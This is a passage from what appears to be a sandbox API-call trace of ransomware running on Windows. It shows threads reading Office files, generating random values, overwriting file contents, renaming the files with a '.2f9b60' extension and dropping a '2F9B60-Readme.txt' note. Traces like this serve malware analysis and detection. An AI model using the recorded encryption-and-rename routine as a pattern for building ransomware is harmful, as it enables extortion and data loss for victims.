BaseAddress=0x202647d0) returned 1 [0127.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c5f0f0) returned 1 [0127.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c66910) returned 1 [0127.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e410) returned 1 [0127.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0127.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202647d0 [0127.812] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0127.812] WriteFile (in: hFile=0x98c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x23a3fc90, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x23a3fc90*=0x108, lpOverlapped=0x0) returned 1 [0127.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0127.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e410 [0127.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0127.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264860) returned 1 [0127.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0127.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0127.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264890 [0127.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264890) returned 1 [0127.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e410) returned 1 [0127.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0127.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f770 [0127.816] sprintf (in: _Dest=0x1cd9f770, _Format="%c%c" | out: _Dest="d4") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f772, _Format="%c%c" | out: _Dest="f3") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f774, _Format="%c%c" | out: _Dest="9c") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f776, _Format="%c%c" | out: _Dest="8f") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f778, _Format="%c%c" | out: _Dest="ad") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f77a, _Format="%c%c" | out: _Dest="06") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f77c, _Format="%c%c" | out: _Dest="c3") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f77e, _Format="%c%c" | out: _Dest="03") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f780, _Format="%c%c" | out: _Dest="43") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f782, _Format="%c%c" | out: _Dest="58") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f784, _Format="%c%c" | out: _Dest="bd") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f786, _Format="%c%c" | out: _Dest="f2") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f788, _Format="%c%c" | out: _Dest="cb") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f78a, _Format="%c%c" | out: _Dest="a8") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f78c, _Format="%c%c" | out: _Dest="f8") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f78e, _Format="%c%c" | out: _Dest="fb") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f790, _Format="%c%c" | out: _Dest="d8") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f792, _Format="%c%c" | out: _Dest="24") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f794, _Format="%c%c" | out: _Dest="19") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f796, _Format="%c%c" | out: _Dest="26") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f798, _Format="%c%c" | out: _Dest="81") returned 2 [0127.816] sprintf (in: _Dest=0x1cd9f79a, _Format="%c%c" | out: _Dest="78") returned 2 [0127.816] RtlInitAnsiString (in: DestinationString=0x23a3fd08, SourceString="d4f39c8fad06c3034358bdf2cba8f8fbd82419268178" | out: DestinationString="d4f39c8fad06c3034358bdf2cba8f8fbd82419268178") [0127.816] RtlAnsiStringToUnicodeString (in: DestinationString=0x23a3fcd8, SourceString="d4f39c8fad06c3034358bdf2cba8f8fbd82419268178", AllocateDestinationString=1 | out: DestinationString="d4f39c8fad06c3034358bdf2cba8f8fbd82419268178") returned 0x0 [0127.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b864450 [0127.817] wcscat (in: _Dest=0x2027b370, _Source="d4f39c8fad0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\d4f39c8fad0") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\d4f39c8fad0" [0127.817] wcscat (in: _Dest=0x2027b370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\d4f39c8fad0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\d4f39c8fad0.2f9b60" [0127.817] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\d4f39c8fad0.2f9b60", NtPathName=0x23a3fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\d4f39c8fad0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0127.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106f40 [0127.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 [0127.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0127.819] NtQueryInformationFile (in: FileHandle=0x98c, IoStatusBlock=0x23a3fd18, FileInformation=0x23a3fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23a3fd18, FileInformation=0x23a3fd28) returned 0x0 [0127.819] NtSetInformationFile (FileHandle=0x98c, IoStatusBlock=0x23a3fd18, FileInformation=0x23a3fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0127.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b370) returned 1 [0127.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864450) returned 1 [0127.820] FlushFileBuffers (hFile=0x98c) returned 1 [0127.978] CloseHandle (hObject=0x98c) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205cbf0 [0127.979] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0127.979] wcscat (in: _Dest=0x4205cbf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0127.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0127.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98c [0127.980] WriteFile (in: hFile=0x98c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x23a3fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x23a3fbd0*=0xba9, lpOverlapped=0x0) returned 1 [0127.982] CloseHandle (hObject=0x98c) returned 1 [0127.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0127.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a1d0) returned 1 Thread: id = 1662 os_tid = 0x1b7c [0126.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 0x20 [0126.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE", dwFileAttributes=0x20) returned 1 [0127.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d0 [0127.333] GetFileSizeEx (in: hFile=0x14d0, lpFileSize=0x249bfe20 | out: lpFileSize=0x249bfe20*=9648) returned 1 [0127.333] SetFilePointerEx (in: hFile=0x14d0, liDistanceToMove=0x25ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.333] ReadFile (in: hFile=0x14d0, lpBuffer=0x249bfda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x249bfde8, lpOverlapped=0x0 | out: lpBuffer=0x249bfda0*, lpNumberOfBytesRead=0x249bfde8*=0x4, lpOverlapped=0x0) returned 1 [0127.347] SetFilePointerEx (in: hFile=0x14d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f550 [0127.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f460 [0127.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4c0 [0127.347] NtQuerySystemTime (in: CurrentTime=0x249bfce0 | out: CurrentTime=0x249bfce0*=132462177326074000) returned 0x0 [0127.347] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x58f5b82c [0127.347] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x2bd7fd7c [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x1d4c6150 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x5429e37a [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x1750ab9 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x693191a7 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x6c7dec13 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x16330f63 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x6da6c530 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x3cdc3d5a [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x6aa02e7 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x41397d74 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x6a13dac7 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x1fd1be5a [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x3b29bb69 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x42db5b04 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x61a63e63 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x7ccf3c36 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x2dba040 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x4c8ebb43 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x7df44152 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x1d7bf72 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x4ca14d3f [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x37a36cc4 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x1ab9f1a9 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x1ca8914b [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x5c41392c [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x54e1e452 [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x7ba5531b [0127.348] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x6bdaa7e [0127.349] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x78ad291a [0127.349] RtlRandomEx (in: Seed=0x249bfcd0 | out: Seed=0x249bfcd0) returned 0x5ed489bf [0127.359] ReadFile (in: hFile=0x14d0, lpBuffer=0x41c6a520, nNumberOfBytesToRead=0x25b0, lpNumberOfBytesRead=0x249bfcd0, lpOverlapped=0x0 | out: lpBuffer=0x41c6a520*, lpNumberOfBytesRead=0x249bfcd0*=0x25b0, lpOverlapped=0x0) returned 1 [0127.363] SetFilePointerEx (in: hFile=0x14d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.363] WriteFile (in: hFile=0x14d0, lpBuffer=0x1cf12af0*, nNumberOfBytesToWrite=0x25b0, lpNumberOfBytesWritten=0x249bfcd4, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesWritten=0x249bfcd4*=0x25b0, lpOverlapped=0x0) returned 1 [0127.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f310 [0127.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2e0 [0127.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f2e0) returned 1 [0127.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf12af0) returned 1 [0127.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c6a520) returned 1 [0127.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0127.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 [0127.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x2050f2e0 [0127.821] SetFilePointerEx (in: hFile=0x14d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0127.821] WriteFile (in: hFile=0x14d0, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x249bfdf0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x249bfdf0*=0x108, lpOverlapped=0x0) returned 1 [0127.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c080 [0127.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0127.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647d0 [0127.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647d0) returned 1 [0127.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0127.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647d0 [0127.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264830 [0127.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264830) returned 1 [0127.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0127.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 [0127.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f770 [0127.823] sprintf (in: _Dest=0x1cd9f770, _Format="%c%c" | out: _Dest="28") returned 2 [0127.823] sprintf (in: _Dest=0x1cd9f772, _Format="%c%c" | out: _Dest="31") returned 2 [0127.823] sprintf (in: _Dest=0x1cd9f774, _Format="%c%c" | out: _Dest="cd") returned 2 [0127.823] sprintf (in: _Dest=0x1cd9f776, _Format="%c%c" | out: _Dest="d0") returned 2 [0127.823] sprintf (in: _Dest=0x1cd9f778, _Format="%c%c" | out: _Dest="65") returned 2 [0127.823] sprintf (in: _Dest=0x1cd9f77a, _Format="%c%c" | out: _Dest="84") returned 2 [0127.823] sprintf (in: _Dest=0x1cd9f77c, _Format="%c%c" | out: _Dest="9b") returned 2 [0127.823] sprintf (in: _Dest=0x1cd9f77e, _Format="%c%c" | out: _Dest="ce") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f780, _Format="%c%c" | out: _Dest="82") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f782, _Format="%c%c" | out: _Dest="0e") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f784, _Format="%c%c" | out: _Dest="a8") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f786, _Format="%c%c" | out: _Dest="89") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f788, _Format="%c%c" | out: _Dest="39") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f78a, _Format="%c%c" | out: _Dest="5b") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f78c, _Format="%c%c" | out: _Dest="67") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f78e, _Format="%c%c" | out: _Dest="88") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f790, _Format="%c%c" | out: _Dest="25") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f792, _Format="%c%c" | out: _Dest="6b") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f794, _Format="%c%c" | out: _Dest="60") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f796, _Format="%c%c" | out: _Dest="56") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f798, _Format="%c%c" | out: _Dest="5e") returned 2 [0127.824] sprintf (in: _Dest=0x1cd9f79a, _Format="%c%c" | out: _Dest="9d") returned 2 [0127.824] RtlInitAnsiString (in: DestinationString=0x249bfe68, SourceString="2831cdd065849bce820ea889395b6788256b60565e9d" | out: DestinationString="2831cdd065849bce820ea889395b6788256b60565e9d") [0127.824] RtlAnsiStringToUnicodeString (in: DestinationString=0x249bfe38, SourceString="2831cdd065849bce820ea889395b6788256b60565e9d", AllocateDestinationString=1 | out: DestinationString="2831cdd065849bce820ea889395b6788256b60565e9d") returned 0x0 [0127.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b864060 [0127.824] wcscat (in: _Dest=0x2027b370, _Source="2831cdd0658" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2831cdd0658") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2831cdd0658" [0127.824] wcscat (in: _Dest=0x2027b370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2831cdd0658.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2831cdd0658.2f9b60" [0127.824] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2831cdd0658.2f9b60", NtPathName=0x249bfe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2831cdd0658.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0127.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106f40 [0127.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 [0127.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0127.826] NtQueryInformationFile (in: FileHandle=0x14d0, IoStatusBlock=0x249bfe78, FileInformation=0x249bfe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x249bfe78, FileInformation=0x249bfe88) returned 0x0 [0127.826] NtSetInformationFile (FileHandle=0x14d0, IoStatusBlock=0x249bfe78, FileInformation=0x249bfe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0127.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b370) returned 1 [0127.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864060) returned 1 [0127.827] FlushFileBuffers (hFile=0x14d0) returned 1 [0127.984] CloseHandle (hObject=0x14d0) returned 1 [0127.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205cbf0 [0127.986] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0127.986] wcscat (in: _Dest=0x4205cbf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0127.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0127.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0127.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509cc0) returned 1 Thread: id = 1663 os_tid = 0x1b80 [0126.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 0x20 [0126.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM", dwFileAttributes=0x20) returned 1 [0127.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x994 [0127.317] GetFileSizeEx (in: hFile=0x994, lpFileSize=0x245bfbc0 | out: lpFileSize=0x245bfbc0*=15760) returned 1 [0127.317] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x3d8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.317] ReadFile (in: hFile=0x994, lpBuffer=0x245bfb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x245bfb88, lpOverlapped=0x0 | out: lpBuffer=0x245bfb40*, lpNumberOfBytesRead=0x245bfb88*=0x4, lpOverlapped=0x0) returned 1 [0127.335] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a570 [0127.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2b0 [0127.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f550 [0127.335] NtQuerySystemTime (in: CurrentTime=0x245bfa80 | out: CurrentTime=0x245bfa80*=132462177325918000) returned 0x0 [0127.335] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x55e93715 [0127.335] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x3eb90c9f [0127.335] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x16eb551f [0127.335] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x6226c8a3 [0127.335] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x1bbe2c00 [0127.335] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x5a54bbf0 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x2a57a3ce [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x1666fa3f [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x4fe5aa8 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x63740392 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x314a3d7c [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x66181ea8 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x471d8b28 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x2a3e13f [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x318715ad [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x34a6b050 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x759a203d [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x5ee4ad49 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x1cb6fe66 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x302d1b0f [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x1ee85d [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x31b262f2 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x4948628a [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x53c89a99 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x4aef9085 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x5c74094c [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x5a504f4e [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x9e3ae74 [0127.336] RtlRandomEx (in: Seed=0x245bfa70 | out: Seed=0x245bfa70) returned 0x48543af1 [0127.336] RtlRandomEx (in: 